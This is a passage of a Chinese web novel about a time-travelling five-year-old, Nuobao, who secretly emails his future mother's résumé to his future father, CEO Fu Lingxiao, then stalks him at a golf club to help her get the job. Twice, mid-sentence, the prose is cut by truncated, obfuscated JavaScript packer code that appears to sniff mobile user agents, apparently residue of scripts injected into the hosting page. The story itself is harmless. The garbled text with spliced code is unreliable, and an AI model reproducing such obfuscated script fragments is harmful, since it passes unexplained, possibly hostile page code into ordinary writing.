安诺上下打量人,“那你拿着它进厕所干嘛?” 诺宝:“我就随便拿着玩儿呀,看它能不能开机而已。” 安诺切声:“又不能开机又不能上网的,你能在厕所里面呆这么久?” 诺宝:“那是因为我肚子痛,拉屎呢。” 安诺:“……” 下一秒,“冲厕所了吗你?” 诺宝:“……” “冲了冲了!我有那么不讲卫生吗?” … 后面一整个晚上,为了不让安诺对自己的手机起疑心,也为了找机会偷投简历,诺宝一直表现得很乖巧。不东问西问了,也不故意捣乱打扰安诺了,还乖乖地和安诺一起洗了换洗下来的衣服。 其实下午安诺不在寝室的时候,他就偷摸开过安诺的电脑,可惜电脑有密码,他解不开。 为此小家伙这才蛰伏了一个晚上。 这不,晚上10点左右他等来机会了。 寝室里垃圾桶太满,安诺准备出门去扔个垃圾,出门时她特意叮嘱诺宝乖乖待在寝室里不准到处乱跑。 诺宝特乖地回答她:“好的。” 等“砰”的一声关门响起时,小家伙转头就朝着她的电脑奔去。 电脑没关,里面微Q.Q以及各种浏览房子和找工作的网页都没关。 这还得了。 诺宝坐过去,二话不说地就用搜索功能检索出了安诺存在笔记本电脑里的简历。 然后再利用一直在线的Q.Q找到Q.Q邮箱。 最后一步,将检索出的简历直接发送到一个邮箱账号里。 那邮箱账号是傅凌霄的助理招聘海报上提供的邮箱。 看一遍诺宝就记住了。 他甚至都不用拿 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起初老师们以为他是不善言辞不好意思举手问老师,又或者根本听不懂课堂的内容所以干脆放弃学习转而拿电脑在玩别的。 等走近一看,老师们发现是他们想多了。 人自己个儿完成得很好。 当然在计算机方面,4岁的诺宝并没有那么神乎其乎的展现出异于常人的天赋。 毕竟在少年宫学习的1年时间里,他们接触到的都是计算机很基础的运用技能,比如电脑由那些部分组成,分别有什么作用,电脑上的各个软件又是怎么运行的,具体操作方法是什么,什么Word,ppt,Excel,ps这些办公软件又该如何使用。 不过,这对当时少年宫的老师们来说,一个4岁的孩子每次上课都能跟上课程,并且不用他们操心半点,这怎么不算是一种天赋呢。 要知道,这孩子可比周围的哥哥姐姐们整整小了两三岁啊。 正因如此,一个拥有深厚计算机运用功底的“天才少年”,仅仅用了3分钟便结束了整个偷投简历的“作案”过程。 甚至后面,小家伙还有时间离开安诺的电脑,跑去拿手机监视他爸有没有其他新动静。 结果还真有。 手机刚一开机,“滴滴滴”的微信消息弹出来。 微信里,有美女姐姐给傅凌霄发消息。 一堆文件,诺宝看不懂。 傅凌霄回人:【?】 美女职员:【实在是抱歉啊傅总,我发错了,本来是要发给人力的。】 附图,害羞表情包。 再后面,傅凌霄没再回那人半句话。 也许是因为没空,又或者是纯粹不想搭理。 对此诺宝比较愿意相信后面这种说法。 连他一个5岁的小孩都觉得那女职员别有意图,那就更不用说他爸傅凌霄了。 反正不管出于什么原因,这次诺宝对自己这位“眼瞎爸比”的表现还算满意。 …… 安诺回来时,诺宝已经拿着拖把在掩耳盗铃地打扫卫生了。 一无所知的安诺还夸奖了诺宝一句:“这么乖啊。” 诺宝宝的反应是,特单纯且特骄傲地点头说:“嗯,可乖了。” 第二天早上,安诺这才发现,乖?乖个锤子。 当时她带着诺宝到学校餐厅里买早餐,买完早餐后,两人找了一处靠窗的位置坐下。 刚坐下,一时兴起,她掏出手机打开了Q.Q邮箱,想看看自己前些天海投出去的简历有没有新进展。 结果登进邮箱一看,发现该开封的邮件没开封,不该开封的邮件却在第一时间被对面的人接收了。 并且,某位绝顶聪明的小朋友还在开篇处十分贴心地替她写下了这么一句话: 【帅帅的傅总您好,这是我的简历,请快快打开吧。mua~】 看完所有的安诺。 “傅一诺!” 愤怒的狮子功吼响彻整个食堂。 18. 第18章(双更合一) (一) 下车时,球童帮忙拿球杆水杯那些东西。 许晓筱晕晕乎乎地跟着下车。 这一路她就没清醒过。 早上发生太多事情了,她得好好捋一捋。 下车后,诺宝愣站在原地。 2024年的傅凌霄,以前诺宝只在相片里面见过。 这是一场穿越时空的相遇。 此时此刻的傅凌霄,自然是比2030年的时候年轻不少的。但整个人的一言一行依旧稳重自持。 远远的,诺宝并没有莽撞地直接冲到傅凌霄的面前,而是选择了一块空旷草地装出一副打球的样子,其实暗地里一直观察着傅凌霄的一举一动。 许晓筱发现诺宝的异样时,也跟着看了过去。 这不看还好,一看不得了。 不可能。 绝对不可能。 她宁愿相信是自己眼花了也不愿意相信眼前看到的一切。 再多看两眼后,她还是难以想象这世界上竟然会有长得如此相像的两个人。 记得第一次安诺带诺宝到寝室时,那时候许晓筱第一眼觉得安诺和诺宝长得很像,但现在看到不远处的那个男人后,许晓筱觉得自己之前的感受并不准确。 其实诺宝和安诺只是脸型都比较圆,脸颊肉比较多,是标准的娃娃脸,此外便是嘴唇都比较小巧比较饱满而已。 所以诺宝和安诺的像更像是一种整体脸型的神似,这种神似导致许晓筱第一眼看到他们两人时,她下意识地会认为诺宝的眼睛鼻子眉毛也和安诺一样。 此时此刻,她十分肯定的是,其实诺宝的眉眼五官更像是不远处那个男人的缩小版。 没猜错的话,那人便是傅凌霄吧。 “这也太像了。”许晓筱忍不住发出感叹。 前方,“当”的一声响,江西慕挥动球杆打出去了第一杆球。 众人的瞩目下,高尔夫球在空气中划过一道完美的抛物线,可惜球落地时,并没有进洞。 “呵。” 傅凌霄直接扯唇,一点都不遮掩的那种。 嘲讽味十足。 这一抹笑落在许晓筱眼里,她只觉得这世界癫得不像话。 明明八竿子都打不着的两人,怎么连笑起来都这么像啊!? 那唇畔微微上扬的弧度,简直和诺宝故意嘲弄人时一模一样。 甚至笑里漫不经心的玩味劲儿都如出一辙。 宛如知道一个惊天大瓜似的,许晓筱在诺宝面前蹲下身子。 “小鬼,你说实话,其实你是傅凌霄的私生子对不对?” 她问话道。 怕被旁边的球童偷听到,她故意把声音压得很低很低。 问话完,许晓筱投给诺宝期待的目光,等着看诺宝如何作答。 诺宝没回话,也丝毫没注意她在说什么,目光一直盯着远处。 眼下,小家伙的神情好似在神游,其实此刻他比任何时候都认真专注。 许晓筱顺着看过去,毫无疑问的,诺宝在看傅凌霄。 后者走到江西慕旁边,仅仅酝酿了几下后便挥杆把球打了出去。 高尔夫球在半空中仍旧划出一条完美的抛物线,和江西慕不一样的是,傅凌霄这球落地滚动两圈后,便扎扎实实地落进了洞里。 “哇哦。”江西慕毫不吝啬地发出赞许。 傅凌霄面色如常,不甚在意。 许晓筱有些看愣了。 不得不承认进球后意气风发的傅凌霄确实是帅的。 诺宝也看愣眼了。 不是被傅凌霄帅到了,而是记忆中,他从没看傅凌霄这么悠然惬意过。 这一幕诺宝静静地盯着看了很久很久。 这个时候的他太小了,并不知道如何描述当下是一种怎样的感受,直到七八年后一天,12岁的傅一诺在日记本上这样写道: “曾经我以为我很爱我的爸爸,但亲眼看到他和朋友在绿茵草坪上肆意灿然的那一刻我才发现,我根本不了解他,我也从没好好观察过他。 和家里面绝大数人一样,我们从不在意他不经意间的恣意与盎然,更不关心他深藏在心底里的柔软与脆弱。 我们自私自利地只选择记住他的强硬,与冰冷。 在太爷爷面前,父亲是企业接班人,所以他必须优秀,必须要强,也必须拥有肩负起整个家族的责任与狠厉。 在我的面前,他是一位父亲,他必须像参天大树一样挺拔高大,这样才能替我遮风挡雨。也必须像金光闪闪的风向标一样永不出错,永远耀眼辉煌。 但和朋友在一起时,他明显是不一样的。 也许对那时候的父亲而言,只有和朋友在一起他才能拥有绝对的平等与自由。 一直以来,太爷爷总是用“生性凉薄”“无情冷漠”这种词眼来形容爸比。 可谁又能想到爸比之所以如此冷漠,其实太爷爷功不可没,以及傅家的每一个人都难辞其咎。” ... 傅凌霄的童年是悲惨的。 父亲傅锦山喜欢音乐美术这些高雅的艺术。 而这一切在爷爷傅正威看来完全是在挥霍光阴,不干正事。 比起这个,傅锦山对傅正威最大的忤逆是在他30岁的那一年以断绝父子关系为由,拒不听从傅正威安排好的一切家族联谊。 最后,傅锦山娶了一个小自己8岁的女大学生,也就是诺宝的奶奶夏霖。 夏霖从小学习小提琴演奏,刚大学毕业那会儿,夏霖还没来得及享受自己耀眼的小提琴演奏生涯便成了家庭主妇。 再后来,傅凌霄5岁时,傅正威出轨了,夏霖发现后连夜搬离老宅,从此再没回来过。 这件事情把傅正威气得不轻,一气之下把傅锦山也赶出了傅家祖宅,甚至还放话说,未经他的同意不得擅自来傅家见傅凌霄。 有了傅锦山这个纨绔先例,傅正威对傅凌霄的管教十分严格,要求必须年年第一,次次优秀。 家里同龄小孩在院子里玩耍打闹时,玻璃窗的这头,傅凌霄在学围棋,学奥数,学计算机...... 在傅正威的安排下,傅凌霄是没有童年的。 …… “哇哦。”又是一声欢呼。 是江西慕在喝彩,因为傅凌霄又进球了。 草坪上,偷吃的小鸟被吓得振翅高飞。 诺宝也一下惊醒过来。 此时的天空,白云朵朵,惠风和煦。 诺宝有些恍惚,缓了好一会儿后想起来问许晓筱:“你刚才说什么?” 他依稀记得许晓筱刚才好像问了他一句什么。 许晓筱还半蹲着身体,只是目光并没有看诺宝,而是对着另一边的傅凌霄和江西慕一阵发呆。 像个花痴。 太帅了吧。 真是一个比一个帅。 难得这就是富家千金的快乐吗?进出高端场所,阅尽天下美男。 许晓筱越看越上头,诺宝看不下去了,挪脚走到许晓筱的正前方,双手一抬,把人视线挡得严严实实。 许晓筱:“......” 一秒后气炸道:“死小鬼你干嘛?” 诺宝耐心地重复道:“不干嘛,只是想知道你刚才问我什么而已。” 又补充道:“我好像听到私生什么的。” 闻声,许晓筱的脸色变了变。 从怒气冲气的火爆模样变得眼神躲闪起来,欲言又止的:“哦,我是说,是说…” 诺宝主动问起这件事情,她倒不好意思开口了。 “是说什么?”诺宝啥事也不知地追问道,语气天真。 许晓筱难为情地“呃”声,“呃”了半天后最后叹气道:“算了,没什么。” “私生子”三个字她说不出口。 先前她那是被惊讶与兴奋冲昏了头,所以脱口问出诺宝是不是傅凌霄私生子这种话来。 现在神智清醒了,她十分清楚地知道用“私生子”去定义一个5岁的小孩有多么的不礼貌,又有多么的伤害人。 不过不提“私生子”的事情,但不代表真的啥也不问。 单凭诺宝知道傅凌霄会来这里打球这一点,许晓筱就有足够的理由怀疑诺宝和傅凌霄之间关系斐然。 “你和你傅叔关系应该挺好的吧?” 她旁敲侧击道。 想用这种不怎么刻意的提问挖出点什么重要信息来,结果诺宝回她说: “小孩的事情大人少管。” 许晓筱:“……” -- 远处,傅凌霄和江西慕的注意力一直在打高尔夫上,没一人觉察出诺宝和许晓筱对他们的偷摸打量。 此时两人收杆,已经重新坐上了观光车。 看样子是准备转移阵地,找一处有难度的地方继续挑战。 诺宝有样学样,收起专属于他这个年龄段的儿童球杆,然后示意球童他们也准备转移阵地。 球童是个十八九岁的男孩子,很机灵,也很勤快。从头到尾就没让诺宝拿过一次东西。 这回也是,接收到诺宝的眼神示意后立马小跑过来帮着拿球杆。 要是身上有零钱诺宝都想给人小哥哥发小费了,只可惜他连现金都没有,更别提零钱了。 坐上观光车,诺宝只对司机叔叔说了一句话,“叔叔,前面那辆车子开到哪里你就开到哪里哦。” 司机叔叔:“好的。” 许晓筱一坐上车就摊在那里不说话。 折腾了一个早上,她早就被磨得没什么力气了。 至于诺宝到底要跟人跟到什么时候,她也懒得多问。 知道问了小鬼也不会告诉她。 累了累了。 不知不觉间,许晓筱靠着座椅上迷迷糊糊地睡了过去。 诺宝精神抖擞得很,大眼睛一直注视着前面观光车里的傅凌霄。 见傅凌霄看手机,他也跟着掏出手机看。 这一看,还真没白看。 手机里,那个叫艾丽的女特助给傅凌霄发过来三份简历,留言道: 【傅总,这是后天准备面谈的三名候选人,以上是她们的简历,您看一下,如需其他个人材料的话,我通知她们提前准备。】 傅凌霄没回需要准备什么材料,只是单单引用安诺的简历给人发过去一个“?”。 诺宝心跳一顿。 问号,问号是什么意思? 难不成是妈咪的简历有什么问题? 急急忙忙的,小家伙赶紧点开简历看,结果上上下下来来回回地看了好几遍也没看出个什么问题来,虽然里面有些东西他根本看不懂。 最后满头雾水的,诺宝讪讪地退出简历页面。 刚退出来,对面回话了。 【报告总裁,所有会试人员都是赫总助亲自复试过的。】艾丽回复道。 这下诺宝明白过来了,原来那个问号想要表达的意思是:为什么会试人员里有安诺。 之后,傅凌霄再没回话什么。 因为艾丽的一句“赫总助亲自复试过的”就足以让他无话可说。 “赫总助”,诺宝认识这人。 论辈分,诺宝应该叫人一声“赫爷爷”。 郝总助以前是傅正威的助手,后来傅正威把公司交给傅凌霄管理后,这才让赫总助到傅凌霄身边专门辅佐傅凌霄的。 在赫总助跟随傅正威的期间,诺宝在家里面见过很多次这位姓名容易被他叫混的赫爷爷。 之所以说赫爷爷的姓名容易被叫混,是因为“郝”字是个多音字。一个同“贺”音,一个同“好”音。 “赫总助”的“郝”属于后者,诺宝好几次叫人“贺爷爷”,为此闹出过不少笑话。 所以一个跟随太爷爷这么多年的总助,在傅凌霄这里的威望是不容小觑的。 既然郝总助都面试过了,傅凌霄自然也不敢再多说什么。 但这也恰恰说明了一个问题,要不是因为郝总助,傅凌霄绝不可能同意安诺参加最后的会试。 诺宝定定地看着手机,更加确定了,他今天必须会一会他这位眼瞎的老爸才行。 如果今天他都不能帮安诺好助攻一下,那他妈咪的面试可就真没希望了。 ... 车子到达下一个目的地时,诺宝决定加快今日计划的进程。 早在决定来这里见傅凌霄之前,他就制定了一个行动周密的计划。 计划的第一步是想办法接近傅凌霄,然后尽可能地争取到两人单独谈话的机会。 至于后面还要做什么,秘密,暂不能说。 现在,诺宝要做的事情便是想法子靠近傅凌霄,后者这时似乎也觉察出了什么,时不时往诺宝这边看过来。 距离隔得有点远,傅凌霄看不清楚诺宝的长相,但他能明显地感觉到诺宝在一直偷瞥他们这边。 傅凌霄第三次侧头看过来时,诺宝一颗小心脏直接跳到了嗓子眼。 还说找机会靠近呢。 现在好了,还没靠近对面就侦察到他了。 完了完了。 诺宝皮笑肉不笑地站着,心里乱成一锅粥。 不行,得想个办法糊弄过去才行。 刚好许晓筱睡意朦胧地走了过来。 她在观光车上多眯了一会儿,所以晚到几步。 诺宝眼珠子一转,等许晓筱走到他面前时,小家伙伸手就扒拉许晓筱道: “晓筱姐姐,来都来了,你快打一球给我展示展示吧。” 他想的是许晓筱打球,然后自己在旁边假装认真学习,这样他们看起来就像是真的来球场打球一样。 傅凌霄对他们的怀疑与猜忌自然也就少了。 哪想就在这千钧一发之际,许晓筱叫唤道: “我不会,我真的不会的呀!” 声音之大,这回不仅傅凌霄看了过来,连傅凌霄旁边的江西慕也把目光投向了这边。 诺宝脑仁都突突了。 没办法,小家伙只好两眼一闭,自己拿着球杆站了出来。 许晓筱:“你会打高尔夫?” 以一种难以置信的语气。 诺宝没出声,整个人成预备姿势站好,然后学着之前傅凌霄打球的样子,稍稍摇晃手臂,一边蓄力一边目测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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(二) 绿茵高尔夫俱乐部创办20年以来,从没出现过这么滑稽的场面。 诺宝用力挥完球杆后,高尔夫球第一个飞出去,紧接着是高尔夫球杆,再后面... 是诺宝自己。 那场面,那叫一个热闹非凡。 可谓是球在天上飞,杆在后面追,人在地上转。 两圈转完,诺宝直觉得天旋地转的,恶心,想吐。 “呼啦呼啦”的风声里,许晓筱的笑声骤然响起。 “哈哈哈”的,刺耳极了。 “哈哈哈哈哈哈…” 许晓筱还在笑,差点笑背过去。 好不容易稳住身子后,这一刻,诺宝恨不得把自己的臭袜子脱下来塞进许晓筱的嘴巴里。 不远处,作为这场闹剧见证者之一的江西慕也忍不住笑侃道:“真是一出好戏啊。” 傅凌霄没说话,唇梢的笑意很浅淡。 这两人不论是外放的裂唇笑,还是内敛的浅笑,总之都没有放过诺宝,眼底尽是看戏的闲适与悠然。 看得诺宝心里窝火得很。 气死了气死了。 毫无征兆的,小家伙捡起球杆径直朝傅凌霄走去。 许晓筱一秒收笑,那可是傅凌霄,位高权重的傅氏集团继承人。 这小鬼要干...干嘛呀? 许晓筱愣站着,不敢动弹半点。 眼看着诺宝走来,江西慕的脸色一整个大变样,不笑了。 “这小不点拿个球杆走过来是什么意思?” “难不成是来找咱两打架的?” 他有些疑惑地问傅凌霄。 后者没回话,目光一直盯着诺宝的方向,随着诺宝的走近他的表情一点一点变严肃,最后眉头直接拧在了一起。 江西慕不知道傅凌霄这是怎么了,跟着扭头重新看向诺宝。 此时的诺宝距离他们只有三四米远。 这回江西慕彻底惊住了。 “这…这孩子…” 断断续续的话语,傅凌霄知道他想表达什么。 刚才距离有点远,他们看不清诺宝的模样,这下离得这么近,除非两人是瞎子不然不可能看不出来诺宝像谁。 眼下,两人的脸色一个比一个惊讶,一个比一个严肃,甚至有种怀疑人生的错乱感。 此时只有诺宝一个人在暗自窃喜着: 笑啊,怎么不笑了你俩? 这便是他对他们肆意笑话他的报复。 当然,除了小小的报复一下傅凌霄和江西慕以外,诺宝最主要的目的是故意接近傅凌霄。 虽然这招有点险,但是小家伙记得太爷爷教过他一句话,叫“富贵险中求”。 等他彻底走到傅凌霄面前时,傅凌霄的目光一直在他身上,先前蹙紧着眉头此刻跟着松开了不少,神色也没之前那般严肃紧张了,更多的是这个世界上居然有小孩长得如此像他的愣怔和恍惚。 旁边,江西慕眼底的诧异只增不减。 惊讶完,江西慕压低声音问傅凌霄: “你是不是被哪个女人偷偷留种了?” 话毕,傅凌霄直接一记阴狠的眼神递过去,仿佛在说: 有病就吃药。 …… 诺宝接近傅凌霄的方式很简单。 “叔叔,我不会打高尔夫,你能教教我吗?” 他就只说了这么一句话。 一个5岁小孩的真诚请求,傅凌霄没理由拒绝,况且这个孩子还和他小时候长得一模一样。 于是回神后,他回复诺宝两个字:“可以”。 即便如此,傅凌霄和江西慕对诺宝的猜忌与怀疑并没有因此减少多少。 大致讲解一遍后,诺宝拿着球杆在前面练习,江西慕围着傅凌霄一阵审问。 “你确定你真的没和什么奇奇怪怪的女人发生过关系吗?” “没发生过关系这孩子那来的?” “你看看你,还不承认,现在好了,孩子找上门了吧。” 明明只有一张嘴,江西慕却恨不得一张嘴当十张嘴用。 噼里啪啦的,跟打机关枪似的,他那一肚子的胡遭话根本说都说不完。 “我看啊,这孩子出现在这里肯定是和你发生过关系的女人故意安排的。目的就是提前打探一下你的反应。” “你要是敢对这孩子表现出半点喜欢,等着瞧吧,过两天那女人绝对会亲自找上门来。至于为什么找你,反正就俩条件,要么娶她,要么就是……给钱。” 嘚啵嘚啵,越说越离谱。 傅凌霄听不下去了,斜眸睥睨人:“你话能不能少点?” 江西慕“切”声。 觉得自己好心帮傅凌霄说话,结果人还嫌他吵,简直是狗咬吕洞宾不识好人心。 “这社会,有人单纯善良,就有人奸诈险恶,我给你说,有些女人为了怀孩子招数多得很,你自己小心点吧。” 他最后叮嘱傅凌霄说。 傅凌霄面无表情地听着,做没做过那档子事他心里清楚得很。 但他不得不承认的是,诺宝走到他面前的一刻,连他自己都对自己有了那么几秒的怀疑。 怀疑自己是不是真的在外面做了不该做的事情。 主要是诺宝和他小时候太像了,完全是一个模子刻出来的。 这边,诺宝沉浸在练习里,并没有听到后面两人的对话。加上他离两人离得有点远,所以即使他想听也听不清楚。 练习的场地是江西慕给他找的,说是这里的草坪平整,空旷,好练习。 对此诺宝心里清楚得很,知道这其实是江西慕故意的,故意把他支开,这样才不会影响他和傅凌霄的谈话。 具体谈什么,不用想诺宝都知道是什么。 无非是和他有关。 “我就不信你们能谈出什么来。”小家伙一边练习挥杆,一边腹诽人。 腹诽完,他故意回头脆生生地喊傅凌霄: “叔叔,我又忘记怎么挥杆了,你过来教教我呗。” 稚嫩的童音,天真中透着莫名的娇弱。 像在撒娇。 傅凌霄没多想什么,提步朝诺宝走了过去。 江西慕却站在原地,觉得傅凌霄完了完了,彻底的完了,脑子都开始长“父爱”了。 19. 第19章(双更合一) (一) 走过来,傅凌霄再次近距离地清楚诺宝时,这一刹那,他还是会不自觉地神色一怔。 “叔叔,你怎么了?”诺宝问人。 其实他什么都知道,却偏偏装出一副什么都不知道的无辜模样。 傅凌霄没正面回答,凝神思索片刻后,缓缓蹲下身子,以一种平视视角看着诺宝: “忘记问你了,你的名字是……?” “一诺。” 诺宝大大方方地回答:“一二三的一,诺言的诺。” “一诺。”傅凌霄低声重复这个名字,神色若有所思。 晚到几步的江西慕,刚走到这边就碰到这幕“父慈子孝”的场景,瞬间看傅凌霄的眼神都变了。 怒其不争,恨玉不成器。 按理说,傅凌霄是他们那群人里警惕心最重的,做事也是最谨慎的。 江西慕想不明白了,傅凌霄今天到底是怎么回事啊? 灵魂出窍了,还是说被什么妖魔鬼怪附身了? 怎么会这么轻轻松松的就被一个小屁孩牵着鼻子走呢? 小鬼让他教打球,人立马就应承下来。 小鬼喊他一声“叔叔”,人立马就赶了过去。 真是奇了怪了。 难不成,果真是血缘的力量?! 江西慕越想越觉得不可思议,所以故意逗诺宝道: “确定只是叫一诺吗?前面没有其他姓吧?” 逗趣的同时,打探意味也十分明显。 诺宝也不是吃素的,张嘴就来: “如果你不建议的话,我也可以在我的名字前面加上你的姓。” 江西慕一听,吓得立马连连摆手: “别别别,我可担当不起。” 而后故意递给傅凌霄一道意味深长的眼神。 但傅凌霄十分肯定的是,自己在外面绝对不可能有孩子,因为他根本就没碰过女人。 彻底认清楚这一点后,傅凌霄看诺宝的神色都冷了几分。 紧跟着站起身子,视线从平视转变成了一种自上而下的审视视角。 诺宝顿然心口一滞。 因为他知道,这是傅凌霄对他起戒备心了。 -- 诺宝一回来,许晓筱就追着诺宝问:“怎么样,有进展没有?” 诺宝见傅凌霄的目的只有一个,那便是让安诺顺利通过傅凌霄的最后面试。 这是许晓筱刚到高尔夫球场就知道的事情。 所以诺宝去找傅凌霄学习打球的半个多小时间里,她特聪明地待在这边没去打扰半点。 诺宝没说话,长叹了一口气。 这意思很明了了,没戏。 许晓筱一看,这还得了。 “别啊,别叹气啊。” “这条路走不通,咱就,就走另外一条路嘛。” 诺宝鼓着腮帮子,这回不叹气了,但是肩膀整个耷拉了下去。 这是这么多天以来他最泄气的一次。 因为他清楚地知道自己面对的人不是别人,而是他的爸比傅凌霄。 他爸比是谁啊? 智商145,比他140还整整高出5分呢。 “我根本就不是他的对手。” 小家伙脑袋一搭,整个人垂头丧气的。 他太清楚他爸傅凌霄了,一旦起了警备之心,而后无论旁人做什么说什么他都不会相信的。 默默的,诺宝低头看自己胸前的怀表。 这是他从2030年带过来的,里面镶嵌着安诺的照片。 这原本是他今天行动里面最重要的秘密武器,现在看来,恐怕是用不上了。 “唉...”诺宝无意识地又叹了一口气。 许晓筱看不下去了,大手往诺宝肩头一拍,鼓励人道: “放心,肯定会有办法的。” 诺宝抬头:“什么办法?” 他以为许晓筱真有什么好办法呢。结果被他这么一问,许晓筱立马熄火了。 什么办法? 她就随口一说,她哪知道有什么办法啊。 “呵呵。”许晓筱尴尬地笑笑。 诺宝:“……” 最后生无可恋地一屁股坐在草坪上。 许晓筱挺淡定的,跟着坐了下来。 “以我的智商怎么可能想得出来什么好办法。” 她替自己找补起来,“所以……” 诺宝扭头看她,“所以……” 许晓筱:“所以你自己得好好想啊。” 诺宝:“……” 彻底不想说话了,身子往草坪上一躺,气鼓鼓地对着头顶的蓝天白云一阵发呆。 不知过了多久,小家伙突然坐起身子一声大喊:“有了。” 许晓筱猛地抬头,挺懵圈的: “啥有了?有啥了?” 诺宝一下把人拽过来,小胖手半捂着嘴巴在许晓筱的耳边小声说悄悄话。 几分钟后,谈话结束,许晓筱发出一声惊叹: “unbelievable!” (简直令人难以置信) 之后两人坐上观光车,顺着草坪中央的小路扬长而去。 …… 10分钟后,车子在一座透明玻璃建筑面前停下。 那是绿茵高尔夫球场内部自有的餐厅,四层楼高,外部全是反光玻璃,看着十分摩登,也十分贵气。 大门口,傅凌霄和江西慕一前一后地走进餐厅。 诺宝就知道他们会来这里。 刚才和傅凌霄待在一块练球的时候,江西慕给傅凌霄提了一嘴,说中午就在这边吃饭,当时傅凌霄并没有反驳任何。 不反驳那便是同意的意思。 进餐厅前,诺宝和许晓筱互相碰了下拳头。 给彼此打气的意思。 此时两人心有只有一个目标,那就是为安诺拿下最后一次面试而战斗。 餐厅里,傅凌霄和江西慕找了一个靠窗的位置坐下,刚好旁边还有一张桌子空着,诺宝拉着许晓筱就往那里走。 江西慕见到诺宝时,眼睛都瞪大了。 “我说小鬼,你怎么也来这里了!?” 人问道。 诺宝小脸一昂,“你都可以来这里,我凭什么不能来?” 江西慕“呵”笑一声,而后不说话了。 因为无话可说。 许晓筱憋不住地抽动嘴角。 就诺宝这张嘴,在口舌之争上面,可从没落过什么下风过。 憋笑完,许晓筱特意打量一眼斜对面的傅凌霄。 他们四个人,分坐两张桌子,傅凌霄和诺宝坐在同一侧,而许晓筱和江西慕坐在餐桌这头。 这样的位置布局,正好方便许晓筱观察傅凌霄。 后者从始至终都默着一张脸,神色淡漠至极。除了刚开始落座的时候看了诺宝一眼以外,而后再没朝他们这边看过一次。 对于江西慕和诺宝的拌嘴,他也一并漠然视之。 整个人静默地在那里倒茶,品茶。 就这状态,许晓筱一看就知道傅凌霄不是个不好惹的主。 连忙的,她给诺宝递过去好几个眼神。 每一个眼神都对他们的行动充满了怀疑。 到底行不行啊我们? 诺宝咬紧牙关,目光炯炯。 都到这紧要关头了,他能怎么办? 不行也得行! 否管他那眼瞎的爸比是不是已经对他心生怀疑了,但今天该说的话他傅一诺一定要说给他爸听。 当然,这事儿得讲究方法和技巧,莽撞不得。 首先,两人欲盖弥彰地一人点了一份牛排。 这里是西餐厅,他们只能点西餐。 牛排上来后,两人按照计划一边用餐一边开始各种闲聊。 聊奥特曼都有哪些,聊明天是下雨还是放晴,聊去海南潜水会不会遇到大鲨鱼,还聊许晓筱为啥不找男朋友。 天南地北,各式各样的话题他们都能瞎扯出来。 但关于找男朋友的这个事情,许晓筱表示很不喜欢,不仅不喜欢还很不服气。 “大人的事情,你个小屁娃娃少管,OK?” 单方面输出完,还不忘反击道: “与其关心我,你还不如好好关心一下你自己,成天就知道惹人生气发火的,小心以后长大了找不到女朋友,哼!” 诺宝甚是无语地眼睛眨巴眨巴着。 不是,说好的演戏呢,这人怎么还生起气了呀。 庆幸的是,这只是他们实施计划中的一段小插曲而已。很快许晓筱便意识到自己的行为过激了,甚至还跑偏主题了。 赶紧的,她拉回主线任务发问道:“咦,你脖子上挂着的是什么?” 看似简单的一句问话,却是他们计划的重头开场戏。 这不,两人立马开演起来了。 “哦,这个呀。” 诺宝装模作样拽下胸前的怀表,然后递给许晓筱看。 “你可以打开看看,里面有惊喜哦。” 许晓筱顺势接过怀表。 虽然这一切都是计划之中的事情,但真正打开怀表的那一刻,许晓筱的目光一下木滞了。 怀表的照片里,安诺露着灿烂的笑容,整个人美丽,自信,且明艳。 可不知道为什么,从看见照片的第一眼开始许晓筱就觉得心口闷闷的,像被什么东西压着似的。 这照片,隐隐的总给人一种不属于这个世界的遥远感。 她的直觉是对的,照片是诺宝从2030年带过来的,在那个世界里,安诺已经不在了。 作为唯一一个知晓所有真相的人,诺宝默默地红了眼眶。 虽然现在是2024年,虽然安诺还活蹦乱跳地活在这人世间,但这并不能磨灭掉2030年的遗憾和痛苦。 “她叫安诺。”诺宝忽然开口道,“这一次,她一定会很幸福很幸福。” 说到后面,诺宝的声音直接沙哑了。 许晓筱神色一惊,整个人慌张地看过来。 因为这句话并不在他们商量的剧本之中。 她不知道的是,其实这句话的前面还有一句不能言说的秘密。 “她是我的妈咪。” 诺宝用了很大力气才压制住自己没说出这句话来。 想到这里,小家伙的眼眶肉眼可见地更红了。 许晓筱一眼觉察出不对劲来,赶紧的,她努力把话题往他们的计划里面带。 “安诺?好好听的名字啊,我见过她吗?” 她说。 明明天天都见面的两个人,许晓筱却装出一副对安诺很不熟悉的样子。 这说明她已经重新进入演戏状态了。 诺宝一下被点醒过来。 计划还没完成呢,得接着演下去才行。 而后两人便围绕着安诺聊了起来。 聊天的内容,自然不是真的。 “她是一个对我很好很好的姐姐,就住在我隔壁。因为她的爷爷和我的爷爷是很要好的朋友。但我并不喜欢安诺姐姐的爷爷,更不喜欢安诺姐姐的爸爸和妈妈。” 许晓筱接话:“为什么?” “姐姐的爸爸在外面有别人,所以妈妈便离家出走了,再没回来过。于是安诺姐姐只能跟着爷爷一起生活。 可安爷爷是个要求很高的人,只允许安诺姐姐成功,不允许她有半点失败。 同龄小孩可以玩耍,但姐姐不行,她的童年生活只有学习,不停的拼命的学习。 姐姐给我讲过,从小到大她最大的愿望就是得到爷爷的认可。” 许晓筱:“那她现在长大了,她的爷爷认可她了吗?” “没有,姐姐说她可能永远都不会得不到爷爷的认可了。 实习,工作,结婚,生小宝宝,这里面每一件事情在安爷爷眼里都是大事情。只要有一件没办好,安爷爷就永远不会满意她的。” 许晓筱:“啊,这样啊。” 之后诺宝再没多说什么。 餐盘里,牛排也吃得差不多了,他拉着许晓筱离开。 其间没看傅凌霄一眼。 他知道,傅凌霄肯定会把他讲的“故事”听进去的。 因为那个故事,完完全全讲的是傅凌霄的童年。 “幸福的人用童年治愈一生,不幸的人用一生治愈童年。” 傅凌霄属于后者。 他这一生,注定被孤独无爱,且高压的童年所禁锢。 而现在,在诺宝的描述下,安诺和他一样,都拥有压抑且无助的童年。 面对相同遭遇的不幸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 